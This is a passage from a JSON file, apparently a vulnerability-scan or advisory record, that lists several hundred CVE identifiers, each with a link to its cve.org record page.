      "name": "CVE-2026-45022",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45022"
    },
    {
      "name": "CVE-2026-40356",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40356"
    },
    {
      "name": "CVE-2026-0966",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0966"
    },
    {
      "name": "CVE-2024-45338",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45338"
    },
    {
      "name": "CVE-2026-41989",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41989"
    },
    {
      "name": "CVE-2026-50243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50243"
    },
    {
      "name": "CVE-2025-2999",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-2999"
    },
    {
      "name": "CVE-2026-28389",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28389"
    },
    {
      "name": "CVE-2026-42504",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42504"
    },
    {
      "name": "CVE-2026-56412",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56412"
    },
    {
      "name": "CVE-2026-59199",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
    },
    {
      "name": "CVE-2025-10966",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-10966"
    },
    {
      "name": "CVE-2024-36124",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36124"
    },
    {
      "name": "CVE-2026-53878",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53878"
    },
    {
      "name": "CVE-2024-10977",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-10977"
    },
    {
      "name": "CVE-2025-50182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-50182"
    },
    {
      "name": "CVE-2026-54478",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54478"
    },
    {
      "name": "CVE-2026-80205",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80205"
    },
    {
      "name": "CVE-2026-17495",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-17495"
    },
    {
      "name": "CVE-2025-47906",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
    },
    {
      "name": "CVE-2026-48864",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
    },
    {
      "name": "CVE-2026-65182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65182"
    },
    {
      "name": "CVE-2026-56858",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56858"
    },
    {
      "name": "CVE-2026-115207",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-115207"
    },
    {
      "name": "CVE-2025-9906",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-9906"
    },
    {
      "name": "CVE-2026-88647",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-88647"
    },
    {
      "name": "CVE-2026-47778",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47778"
    },
    {
      "name": "CVE-2025-59375",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-59375"
    },
    {
      "name": "CVE-2026-95619",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95619"
    },
    {
      "name": "CVE-2026-82720",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82720"
    },
    {
      "name": "CVE-2026-34040",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34040"
    },
    {
      "name": "CVE-2026-94439",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-94439"
    },
    {
      "name": "CVE-2026-116587",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-116587"
    },
    {
      "name": "CVE-2026-95512",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95512"
    },
    {
      "name": "CVE-2026-7666",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-7666"
    },
    {
      "name": "CVE-2026-12003",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12003"
    },
    {
      "name": "CVE-2026-94448",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-94448"
    },
    {
      "name": "CVE-2026-35206",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35206"
    },
    {
      "name": "CVE-2026-56855",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56855"
    },
    {
      "name": "CVE-2026-53615",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53615"
    },
    {
      "name": "CVE-2026-15588",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15588"
    },
    {
      "name": "CVE-2026-59850",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59850"
    },
    {
      "name": "CVE-2026-92389",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-92389"
    },
    {
      "name": "CVE-2026-71889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71889"
    },
    {
      "name": "CVE-2026-90711",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90711"
    },
    {
      "name": "CVE-2026-5450",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5450"
    },
    {
      "name": "CVE-2026-53785",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53785"
    },
    {
      "name": "CVE-2026-50195",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50195"
    },
    {
      "name": "CVE-2025-50181",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-50181"
    },
    {
      "name": "CVE-2026-19499",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19499"
    },
    {
      "name": "CVE-2026-59903",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59903"
    },
    {
      "name": "CVE-2026-19385",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19385"
    },
    {
      "name": "CVE-2026-112943",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112943"
    },
    {
      "name": "CVE-2026-8404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8404"
    },
    {
      "name": "CVE-2026-11856",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11856"
    },
    {
      "name": "CVE-2025-66382",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66382"
    },
    {
      "name": "CVE-2026-5260",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5260"
    },
    {
      "name": "CVE-2026-56746",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
    },
    {
      "name": "CVE-2026-42009",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42009"
    },
    {
      "name": "CVE-2026-103119",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-103119"
    },
    {
      "name": "CVE-2026-116566",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-116566"
    },
    {
      "name": "CVE-2026-33948",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33948"
    },
    {
      "name": "CVE-2026-84838",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84838"
    },
    {
      "name": "CVE-2025-69421",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69421"
    },
    {
      "name": "CVE-2026-54059",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54059"
    },
    {
      "name": "CVE-2025-12781",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-12781"
    },
    {
      "name": "CVE-2026-40225",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40225"
    },
    {
      "name": "CVE-2026-89157",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89157"
    },
    {
      "name": "CVE-2026-69651",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-69651"
    },
    {
      "name": "CVE-2025-58188",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
    },
    {
      "name": "CVE-2018-1000021",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1000021"
    },
    {
      "name": "CVE-2026-93492",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93492"
    },
    {
      "name": "CVE-2025-1178",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1178"
    },
    {
      "name": "CVE-2026-77214",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77214"
    },
    {
      "name": "CVE-2026-34478",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34478"
    },
    {
      "name": "CVE-2025-8747",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8747"
    },
    {
      "name": "CVE-2026-107725",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-107725"
    },
    {
      "name": "CVE-2024-40635",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40635"
    },
    {
      "name": "CVE-2026-53488",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53488"
    },
    {
      "name": "CVE-2026-44777",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44777"
    },
    {
      "name": "CVE-2025-4674",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4674"
    },
    {
      "name": "CVE-2025-30258",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-30258"
    },
    {
      "name": "CVE-2026-6873",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6873"
    },
    {
      "name": "CVE-2026-93451",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93451"
    },
    {
      "name": "CVE-2025-1176",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1176"
    },
    {
      "name": "CVE-2026-50162",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50162"
    },
    {
      "name": "CVE-2026-56391",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56391"
    },
    {
      "name": "CVE-2026-57433",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-57433"
    },
    {
      "name": "CVE-2024-56406",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-56406"
    },
    {
      "name": "CVE-2026-77420",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77420"
    },
    {
      "name": "CVE-2026-4660",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4660"
    },
    {
      "name": "CVE-2026-93558",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93558"
    },
    {
      "name": "CVE-2026-81727",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81727"
    },
    {
      "name": "CVE-2026-111752",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111752"
    },
    {
      "name": "CVE-2026-39820",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39820"
    },
    {
      "name": "CVE-2026-55380",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
    },
    {
      "name": "CVE-2026-34480",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34480"
    },
    {
      "name": "CVE-2026-105769",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-105769"
    },
    {
      "name": "CVE-2026-34501",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34501"
    },
    {
      "name": "CVE-2026-56854",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56854"
    },
    {
      "name": "CVE-2026-84303",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84303"
    },
    {
      "name": "CVE-2025-5278",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5278"
    },
    {
      "name": "CVE-2024-56433",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-56433"
    },
    {
      "name": "CVE-2026-48587",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48587"
    },
    {
      "name": "CVE-2026-73180",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73180"
    },
    {
      "name": "CVE-2026-87861",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87861"
    },
    {
      "name": "CVE-2025-48384",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-48384"
    },
    {
      "name": "CVE-2025-49506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-49506"
    },
    {
      "name": "CVE-2025-47911",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-47911"
    },
    {
      "name": "CVE-2025-5318",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5318"
    },
    {
      "name": "CVE-2026-39819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39819"
    },
    {
      "name": "CVE-2026-34986",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34986"
    },
    {
      "name": "CVE-2026-55990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55990"
    },
    {
      "name": "CVE-2026-112060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112060"
    },
    {
      "name": "CVE-2026-92386",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-92386"
    },
    {
      "name": "CVE-2026-58010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58010"
    },
    {
      "name": "CVE-2026-62243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-62243"
    },
    {
      "name": "CVE-2026-26958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26958"
    },
    {
      "name": "CVE-2026-96512",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96512"
    },
    {
      "name": "CVE-2026-61712",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-61712"
    },
    {
      "name": "CVE-2026-14662",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14662"
    },
    {
      "name": "CVE-2026-114406",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114406"
    },
    {
      "name": "CVE-2025-69872",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69872"
    },
    {
      "name": "CVE-2025-2998",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-2998"
    },
    {
      "name": "CVE-2026-3833",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3833"
    },
    {
      "name": "CVE-2026-106449",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-106449"
    },
    {
      "name": "CVE-2026-71887",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71887"
    },
    {
      "name": "CVE-2026-26310",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26310"
    },
    {
      "name": "CVE-2026-16118",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16118"
    },
    {
      "name": "CVE-2026-42769",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42769"
    },
    {
      "name": "CVE-2026-44660",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44660"
    },
    {
      "name": "CVE-2026-93563",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93563"
    },
    {
      "name": "CVE-2025-13151",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
    },
    {
      "name": "CVE-2026-59900",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59900"
    },
    {
      "name": "CVE-2026-96638",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96638"
    },
    {
      "name": "CVE-2026-54679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54679"
    },
    {
      "name": "CVE-2026-70464",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70464"
    },
    {
      "name": "CVE-2026-112892",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112892"
    },
    {
      "name": "CVE-2026-49459",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
    },
    {
      "name": "CVE-2026-6253",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6253"
    },
    {
      "name": "CVE-2025-6141",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6141"
    },
    {
      "name": "CVE-2026-92387",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-92387"
    },
    {
      "name": "CVE-2026-78227",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78227"
    },
    {
      "name": "CVE-2026-12064",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12064"
    },
    {
      "name": "CVE-2026-25934",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25934"
    },
    {
      "name": "CVE-2026-6470",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6470"
    },
    {
      "name": "CVE-2026-96232",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96232"
    },
    {
      "name": "CVE-2026-112406",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112406"
    },
    {
      "name": "CVE-2026-50229",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50229"
    },
    {
      "name": "CVE-2025-6020",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6020"
    },
    {
      "name": "CVE-2026-89425",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89425"
    },
    {
      "name": "CVE-2026-48962",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48962"
    },
    {
      "name": "CVE-2022-48064",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48064"
    },
    {
      "name": "CVE-2026-19672",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19672"
    },
    {
      "name": "CVE-2025-68161",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
    },
    {
      "name": "CVE-2026-14669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14669"
    },
    {
      "name": "CVE-2026-114137",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114137"
    },
    {
      "name": "CVE-2026-55092",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55092"
    },
    {
      "name": "CVE-2026-112898",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112898"
    },
    {
      "name": "CVE-2026-12480",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12480"
    },
    {
      "name": "CVE-2026-68495",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68495"
    },
    {
      "name": "CVE-2026-70035",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70035"
    },
    {
      "name": "CVE-2026-7774",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-7774"
    },
    {
      "name": "CVE-2025-22868",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22868"
    },
    {
      "name": "CVE-2026-42010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42010"
    },
    {
      "name": "CVE-2026-62290",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-62290"
    },
    {
      "name": "CVE-2026-5435",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
    },
    {
      "name": "CVE-2026-42506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42506"
    },
    {
      "name": "CVE-2026-77762",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77762"
    },
    {
      "name": "CVE-2026-93566",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93566"
    },
    {
      "name": "CVE-2026-34479",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34479"
    },
    {
      "name": "CVE-2026-40553",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40553"
    },
    {
      "name": "CVE-2026-76641",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76641"
    },
    {
      "name": "CVE-2025-3360",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3360"
    },
    {
      "name": "CVE-2026-22796",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22796"
    },
    {
      "name": "CVE-2026-80225",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80225"
    },
    {
      "name": "CVE-2026-74049",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-74049"
    },
    {
      "name": "CVE-2026-77408",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77408"
    },
    {
      "name": "CVE-2026-48042",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48042"
    },
    {
      "name": "CVE-2019-1010204",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-1010204"
    },
    {
      "name": "CVE-2026-4647",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4647"
    },
    {
      "name": "CVE-2026-40226",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40226"
    },
    {
      "name": "CVE-2025-61724",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
    },
    {
      "name": "CVE-2026-44973",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44973"
    },
    {
      "name": "CVE-2026-78383",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78383"
    },
    {
      "name": "CVE-2026-114437",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114437"
    },
    {
      "name": "CVE-2026-70463",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70463"
    },
    {
      "name": "CVE-2019-9193",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-9193"
    },
    {
      "name": "CVE-2026-48961",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48961"
    },
    {
      "name": "CVE-2026-112942",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112942"
    },
    {
      "name": "CVE-2026-112399",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112399"
    },
    {
      "name": "CVE-2026-95184",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95184"
    },
    {
      "name": "CVE-2026-3219",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3219"
    },
    {
      "name": "CVE-2024-7348",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-7348"
    },
    {
      "name": "CVE-2026-42013",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42013"
    },
    {
      "name": "CVE-2026-11824",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11824"
    },
    {
      "name": "CVE-2026-3832",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3832"
    },
    {
      "name": "CVE-2026-44605",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44605"
    },
    {
      "name": "CVE-2026-2303",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2303"
    },
    {
      "name": "CVE-2026-69243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-69243"
    },
    {
      "name": "CVE-2025-61732",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61732"
    },
    {
      "name": "CVE-2025-61723",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
    },
    {
      "name": "CVE-2026-5928",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
    },
    {
      "name": "CVE-2024-10976",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-10976"
    },
    {
      "name": "CVE-2026-0964",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0964"
    },
    {
      "name": "CVE-2026-113351",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-113351"
    },
    {
      "name": "CVE-2026-114501",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114501"
    },
    {
      "name": "CVE-2025-11083",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11083"
    },
    {
      "name": "CVE-2026-116586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-116586"
    },
    {
      "name": "CVE-2023-45803",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-45803"
    },
    {
      "name": "CVE-2026-14678",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14678"
    },
    {
      "name": "CVE-2026-23992",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-23992"
    },
    {
      "name": "CVE-2026-93562",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93562"
    },
    {
      "name": "CVE-2026-27199",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27199"
    },
    {
      "name": "CVE-2026-70457",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70457"
    },
    {
      "name": "CVE-2026-71888",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71888"
    },
    {
      "name": "CVE-2026-39831",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39831"
    },
    {
      "name": "CVE-2026-86145",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86145"
    },
    {
      "name": "CVE-2026-109125",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-109125"
    },
    {
      "name": "CVE-2026-86350",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86350"
    },
    {
      "name": "CVE-2026-39828",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39828"
    },
    {
      "name": "CVE-2026-54787",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54787"
    },
    {
      "name": "CVE-2026-45447",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45447"
    },
    {
      "name": "CVE-2025-8713",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8713"
    },
    {
      "name": "CVE-2024-25620",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-25620"
    },
    {
      "name": "CVE-2026-77955",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77955"
    },
    {
      "name": "CVE-2026-8924",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8924"
    },
    {
      "name": "CVE-2026-70456",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70456"
    },
    {
      "name": "CVE-2021-3826",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-3826"
    },
    {
      "name": "CVE-2026-12243",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12243"
    },
    {
      "name": "CVE-2025-6170",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
    },
    {
      "name": "CVE-2026-92391",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-92391"
    },
    {
      "name": "CVE-2026-78409",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78409"
    },
    {
      "name": "CVE-2026-70460",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70460"
    },
    {
      "name": "CVE-2026-101896",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101896"
    },
    {
      "name": "CVE-2026-15003",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15003"
    },
    {
      "name": "CVE-2026-85747",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85747"
    },
    {
      "name": "CVE-2025-68146",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-68146"
    },
    {
      "name": "CVE-2026-48702",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48702"
    },
    {
      "name": "CVE-2026-25679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25679"
    },
    {
      "name": "CVE-2026-40612",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40612"
    },
    {
      "name": "CVE-2026-117610",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-117610"
    },
    {
      "name": "CVE-2025-14017",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14017"
    },
    {
      "name": "CVE-2026-33811",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33811"
    },
    {
      "name": "CVE-2026-96642",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96642"
    },
    {
      "name": "CVE-2024-45337",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45337"
    },
    {
      "name": "CVE-2026-107778",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-107778"
    },
    {
      "name": "CVE-2025-3730",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3730"
    },
    {
      "name": "CVE-2026-39979",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39979"
    },
    {
      "name": "CVE-2026-90802",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90802"
    },
    {
      "name": "CVE-2026-81726",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81726"
    },
    {
      "name": "CVE-2025-13836",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13836"
    },
    {
      "name": "CVE-2026-1229",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1229"
    },
    {
      "name": "CVE-2026-101296",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-101296"
    },
    {
      "name": "CVE-2026-9079",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9079"
    },
    {
      "name": "CVE-2026-19931",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19931"
    },
    {
      "name": "CVE-2025-61725",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
    },
    {
      "name": "CVE-2026-63075",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63075"
    },
    {
      "name": "CVE-2026-56407",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56407"
    },
    {
      "name": "CVE-2026-25210",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25210"
    },
    {
      "name": "CVE-2026-28387",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28387"
    },
    {
      "name": "CVE-2026-115557",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-115557"
    },
    {
      "name": "CVE-2022-42967",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-42967"
    },
    {
      "name": "CVE-2024-52533",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-52533"
    },
    {
      "name": "CVE-2026-102474",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-102474"
    },
    {
      "name": "CVE-2026-28388",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28388"
    },
    {
      "name": "CVE-2026-23991",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-23991"
    },
    {
      "name": "CVE-2026-118131",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-118131"
    },
    {
      "name": "CVE-2025-7039",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-7039"
    },
    {
      "name": "CVE-2026-96235",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96235"
    },
    {
      "name": "CVE-2026-50251",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50251"
    },
    {
      "name": "CVE-2026-40192",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40192"
    },
    {
      "name": "CVE-2026-112404",
